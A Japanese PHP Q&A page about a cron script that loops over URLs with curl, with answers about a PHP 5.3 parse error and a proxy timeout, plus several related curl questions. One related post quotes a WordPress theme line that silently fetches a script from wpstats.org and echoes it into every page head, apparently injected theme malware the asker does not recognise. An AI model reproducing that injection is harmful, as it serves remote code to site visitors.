• 締切済み

「複数のPHPファイルを上から順に15秒ごとに読み

「複数のPHPファイルを上から順に15秒ごとに読み込む」ようなPHPファイルが欲しいです。 それをcronで定期的に実行したいのですが、どうしてもエラーが出てしまい上手く動きません。 <?php ini_set('display_errors', 1); error_reporting(-1); set_time_limit(0); $list = [ 'http://xxx.com/file1.php', 'http://xxx.com/file2.php', 'http://xxx.com/file3.php', 'http://xxx.com/file4.php', 'http://xxx.com/file5.php', 'http://xxx.com/file6.php', 'http://xxx.com/file7.php', 'http://xxx.com/file8.php', 'http://xxx.com/file9.php', 'http://xxx.com/file10.php', ]; foreach ($list as $url) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, ]); sleep(15); curl_exec($ch); } ?> いちおう初心者ながらに書いてみたのですが、どこが悪いのかを教えてください。

noname#231189
noname#231189
  • PHP
  • 回答数2
  • ありがとう数0

みんなの回答

  • mpro-gram
  • ベストアンサー率74% (170/228)
回答No.2

Parse error の方は、phpのversion低いんじゃない? /usr/local/bin/php53 てphp5.3だよね。このversionは array() の短縮記法に未対応

  • t_ohta
  • ベストアンサー率38% (5061/13227)
回答No.1

プログラム自体は問題なく動くようですね。 エラーメッセージには、なんて書いてありますか?

noname#231189
質問者

補足

お返事ありがとうございます。 レンタルサーバーのロリポップでは、実行から約4分ほどで以下のエラーメッセージが出ます。 -------------------------- Proxy Error The proxy server received an invalid response from an upstream server. The proxy server could not handle the request GET /cron/cron.php. Reason: Error reading from remote server -------------------------- 同じくレンタルサーバーのヘテムルでは、シェルスクリプト経由でのcron実行になるので、以下のエラーメッセージがメールで送られて来ます。 -------------------------- PHP Parse error: syntax error, unexpected '[' in /home/sites/heteml/users/ユーザー名/web/cron/cron.php on line 7 Parse error: syntax error, unexpected '[' in /home/sites/heteml/users/ユーザー名/web/cron/cron.php on line 7 -------------------------- シェルスクリプトは以下になります。 -------------------------- #!/bin/sh cd /home/sites/heteml/users/ユーザー名/web/cron/ /usr/local/bin/php53 cron.php exit -------------------------- ロリポップ・ヘテムル共に、質問時に記載したPHPファイル(cron.php)を使っています。 「Proxy Error」の意味は理解できておらず、 「PHP Parse error:」では「きっと7行目が原因なのだろう・・・でもよく分かってない」という感じです。 まずはどこから見直せば良いのかをご教示お願いします。

関連するQ&A

  • PHP データ 送受信

    http://hogehoge.com/form.php http://hogehoge.com/send.php http://localhost.com/api.php http://hogehoge.com/send.phpにアクセスした際に http://hogehoge.com/form.phpで入力したデータを http://localhost.com/api.phpに飛ばす方法に困っています。 参考サイト http://blog.code4u.org/archives/407 send.php側 $url = 'http://localhost.com/api.php'; $params = array( 'name' => $name, 'email' => $email, 'address' => $address, 'tel' => $tel, ); $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/x-www-form-urlencoded' ) ); $result = curl_exec($ch); curl_close($ch); と記述したのですが、 api.php でデータを受け取るコードがわからず困っています。 お分かりの方がいたらお願いします。

    • 締切済み
    • PHP
  • phpのcurlでのエラー

    ローカル、IIS8.5+PHP5.6環境で、PHPのcurlを用いてPDFファイルをアップロードするとエラーが出ます。 エラーは以下のようなものです。 === {"files":[{"name":"1425191187-473","size":221,"type":"multipart\/form-data; boundary=------------------------c4894a433c24bba9","error":"Filetype not allowed"}]} === どの点が問題なのかご教示いただけないでしょうか? PHP5.6の設定では、php.iniの「extension=php_curl.dll」の「;」のみを外しました。 また、ローカルPCにダウンロードしたcurl.exeコマンドからはアップロードできることを確認しました。 コマンド:「curl -F "files[]=@C:\Users\***\Desktop\***.pdf;type=application/pdf http://127.0.0.1/***/upload」 アップロードできないPHPソースは以下となります。 === $oname = '@C:\Users\***\Desktop\***.pdf;type=application/pdf'; $files = array( 'files[]' => $oname ); $url = 'http://127.0.0.1/***/upload'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_ENCODING, 'UTF-8'); curl_setopt($ch, CURLOPT_POSTFIELDS, $files); curl_exec($ch); curl_close($ch); ===

    • 締切済み
    • PHP
  • syntax errorについて。

    PHP初心者です。 自作のWordpressテーマをインストールした後、以下のエラーが表示されます。 Parse error: syntax error, unexpected '{' in エラーは1行目という事で 以下が1行目になります。 <?phpif (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} どこが間違っているのか分かられる方がいらっしゃればお教えいただけないでしょうか?

    • ベストアンサー
    • PHP
  • cURLでcookieを送受信する方法について

    いつもお世話になっています。 phpで、Webページに自動でログイン+ページ遷移するためのスクリプトを作成しています。 Webページなどを参照し $url='http://webpage.jp'; $cookie=tempnam(sys_get_temp_dir(),'cookie_'); $curl=curl_init(); curl_setopt($curl,CURLOPT_URL,$url); curl_setopt($curl,CURLOPT_COOKIEJAR,$cookie); curl_exec($curl); curl_close($curl); $curl=curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl, CURLOPT_COOKIEJAR, "cookie"); curl_setopt($curl, CURLOPT_COOKIEFILE, "tmp"); curl_setopt($curl, CURLOPT_POST, TRUE); $output = curl_exec($curl); print_r(curl_getinfo($curl)); curl_close($curl); とすることで、cookieをファイルとして保存しページ遷移できることを確認しました。 そこで、cookieをディスクに書き込まずにメモリ上に保存してやりとりが出来ないかと思い $cookie = fopen('php://memory', 'r+'); として見ましたが、うまくいきませんでした。 cookieをメモリ上に保存して利用する方法はありますか? お願いします。

    • ベストアンサー
    • PHP
  • ライブドアブログにPHPスクリプトで投稿したい

    お世話になります。 ライブドアブログにPHPスクリプトで 投稿するためのコードを あるブログで見つけましたが、 下記のコードを実行すると 「<?xml version="1.0" encoding="utf-8" ?> <error>Invalid login</error>」 というメッセージが表示します。 id 、パスワードはあっています。 エンコード方法が、間違っているんでしょうか? 「curl_setopt($ch, CURLOPT_POST, true);」 でのメッセージだと推測します。 そのブログの管理人との連絡方法が ありません。 どなたか、お手数をおかけしますが、 アドバイスをいただけると幸いです。 <?php $livedoor_id = "id"; // livedoorID $password = "APIKEY"; // パスワード $title = "english"; // 記事タイトル $text = "this is a pen"; // 記事本文 $atomapi_url = "http://cms.blog.livedoor.com/atom/"; $created = date('Y-m-d\TH:i:s\Z'); $nonce = pack('H*', sha1(md5(time()))); $pass_digest = base64_encode(pack('H*', sha1($nonce.$created.$password))); //$pass_digest = base64_encode(pack('H*', sha1($nonce.$created.strtolower(md5($password))))); $wsse = 'UsernameToken Username="'.$livedoor_id.'", '. 'PasswordDigest="'.$pass_digest.'", '. 'Nonce="'.base64_encode($nonce).'", '. 'Created="'.$created.'"'; $text64= base64_encode($text); $rawdata = '<?xml version="1.0"?>'. '<entry xmlns="http://purl.org/atom/ns#" xmlns:dc="http://purl.org/dc/elements/1.1/">'. '<title type="text/html" mode="escaped">'.$title.'</title>'. '<dc:subject type="text/html" mode="escaped">'.$category.'</dc:subject>'. '<content type="application/xhtml+xml" mode="base64">'.$text64.'</content>'. '</entry>'; //echo $rawdata; $headers =array( 'X-WSSE: ' . $wsse, 'Expect:' ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $atomapi_url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_HTTPHEADER,$headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS,$rawdata); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $res = curl_exec($ch); curl_close($ch); //出力結果確認用 echo $res; ?>

    • ベストアンサー
    • PHP
  • PHPのcURLによるログインについての質問

    PHPのcURLによるログインについての質問をさせて頂きます。 会員サイトでIDとPASSの入力を行い、ログインをしてページの移行していくPHPの コードを書いておりますが、途中ページで検索BOXのフォームにキーワードを入れて 次のページに移行する必要があるのですが、ページ移行ができない状況であります。 質問をさせて頂きたい内容ですが、フォームへの入力が必要となるため、 下記のコードの入力項目である【$params01】又は他の部分に どのような記述をすればよいかをご教授いただければと思います。 サンプルコードなどを掲載しているサイトなどで調べていましたが、 【$params01】の配列のkeyの部分がname属性としているようなのですが、 今回ログインをするページの検索BOXのフォームにはname属性は付けられていないようです。 よろしくお願いいたします。 【$params01】 $params01 = array( "dscrCdNm" => '7893', "marketCd" => '検索' ); $address01 = 'https://xxxxxxxxxx.co.jp/xxxxxxxxxx'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $address01); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path); curl_setopt($ch, CURLOPT_POST, TRUE); curl_setopt($ch, CURLOPT_POSTFIELDS, $params01); $inputcode = curl_exec($ch) or die('error ' . curl_error($ch)); mb_language("Japanese"); $order_adress = mb_convert_encoding($inputcode, "UTF-8", "auto"); print($order_adress); 【検索BOXのフォームのHTML部分】 <div class="box-search-stock-01 mb00" > <fieldset> <legend>検索</legend> <p class="search"> <label for="ss-02">名前・コード</label>: <input type="text" name="dscrCdNm" value="" id="ss-02"> <input type="hidden" name="marketCd" value=""> <input type="hidden" name="industryCd" value=""> <input type="image" src="/member/images/btn-search-02.gif" class="roll img-ipad" value="検索" title="検索" /> <span style="padding: 0 0 0 20px;"><a href="javascript:void(0);" onclick="modalOpenAction();return false;">→詳細検索はこちら</a></span> </p> </fieldset> </div> <input type="hidden" name="offsetRow" value=""> <input type="hidden" name="trdKbn" value="10"> <input type="hidden" name="pageNo" value="1">

    • ベストアンサー
    • PHP
  • プロキシサーバ経由でTwitter APIを使用

    レンタルサーバーで、PHPを使用したTwitterの自作botを作成しています。 どんなことが出来るのか、というのを色々いじって遊んでいるのですが、 サーバーから直接Twitter APIを使用するときには正常に動いているのに 間にプロキシサーバーを噛ませると正常に動作しないことに気付きました。 ********* ▼プログラム(twitteroauth.php内のfunction http)▼   (前略) curl_setopt($ci, CURLOPT_URL, $url); curl_setopt($ci, CURLOPT_HTTPPROXYTUNNEL, true); curl_setopt($ci, CURLOPT_PROXY, 'http://xxx.xxx.xxx.xxx'); curl_setopt($ci, CURLOPT_PROXYPORT, '8080'); $response = curl_exec($ci); if ($response === false) { エラーログ出力(curl_error($ci)); }   (後略) ********* 上記のようなプログラムを追加して実行すると、 以下のようなエラーログが出力されました。 「Received HTTP code 0 from proxy after CONNECT」 ネットで調べて、SSLが関係しているのでは?というところまでは調べられたのですが、 解決方法が分からず困っております。 詳しい方、ご教授いただけないでしょうか。 どうぞよろしくお願いいたします。

    • ベストアンサー
    • PHP
  • function で json を POST

    37行目に PHP Fatal error: Cannot redeclare sendPostData() と出るのをどのように修正すれば、sendPostData がうまく回りますか。 <?php $total = 110; $test = 2; for ( $i = 0; $i <= ceil($total/100); $i++){ $data = array ( "filters" => array ( array ( "field" => "live_status", "type" => "equal", "value" => "past", ), array ( "field" => "start_time", "from" => "2014-03-12 00:00:00", "to" => "2014-03-13 00:00:00", "type" => "range", ) ), "from" => $test*$i, "issuer" => "apiguide", "join" => array ( 0 => "cmsid", 1 => "title", 2 => "community_id", 3 => "start_time", 4 => "live_end_time", 5 => "comment_counter", 6 => "score_timeshift_reserved", 7 => "provider_type", 8 => "tags", 9 => "member_only"), "order" => "desc", "query" => "一般(その他)", "reason" => "ma9", "search" => array ( "tags" ), "service" => array ( "live" ), "size" => $test, "sort_by" => "_live_recent", ); $encoded = json_encode($data, JSON_UNESCAPED_UNICODE); $url_send ="http://api.search.nicovideo.jp/api/"; function sendPostData($url, $post){ $ch = curl_init($url); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS,$post); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-type: application/json; charset=UTF-8')); $result = curl_exec($ch); curl_close($ch); return $result; } echo " " . sendPostData($url_send, $encoded); } ?>

    • ベストアンサー
    • PHP
  • cURL から特定の文字列を抜き出したい

    あるページから、店舗名や住所、ある一定の文字列を抜き出したいのですがうまくいきません。 抜き出したいページには以下のような情報が書き込まれており、新店舗が出来ると更新されます。 ------------------- 写真や店舗紹介ページにあるような部分 【店舗情報】 ■店舗名 『保険代理店A』東京中央店 ■取扱募集代理店 株式会社ほけんブラブラ ■所在地 東京都中央区2-2 田中ビル5F ■電 話 0120-00-0200 ■開店日 2013年3月1日(火) ■営業時間 10:00~18:00 ■対応コース 来店 ------------------- 上記の7項目は絶対に変化なくページに存在しています。 そのページをcurlで取得し、一定の処理をします。 現在書けているのプログラム function curl_get_contents( $url, $timeout = 60 ){ $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $url ); curl_setopt( $ch, CURLOPT_HEADER, false ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout ); $result = curl_exec( $ch ); curl_close( $ch ); return $result; } $result = curl_get_contents( "http://example.com?id=16", 120 ); $do = mb_strpos($result, "■"); echo $do; --------------------- 最初の■からの文字列は取得できるのですが、そこからの処理が分かりません。 できたら、連想配列に格納したいのです。 どうか諸先輩方のお知恵をお借り出来たらと存じます。 宜しくお願いします。

    • ベストアンサー
    • PHP
  • LocationでのPOSTの方法

    AサーバーからBサーバーへHTMLのformにてPOSTデータを送り Bサーバーで処理して、header("Location:で再びAサーバーに戻す処理をしたいのですがうまくいきません Aサーバー <form method="post" action="Bサーバー"> <input type="text" name="sample"> Bサーバ curl_setopt($handle, CURLOPT_URL, "Aサーバ"); curl_setopt($handle, CURLOPT_HEADER, false); curl_setopt($handle, CURLOPT_POST, true); curl_setopt($handle, CURLOPT_POSTFIELDS, , "smaple=" . $_POST['sample']); curl_setopt($handle, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($handle); curl_close($handle); header("Location: Aサーバ"); このようにcurlで送る設定をしているのですがPOSTのデータは戻って来ません アドバイスをお願いできないでしょうか。

    • ベストアンサー
    • PHP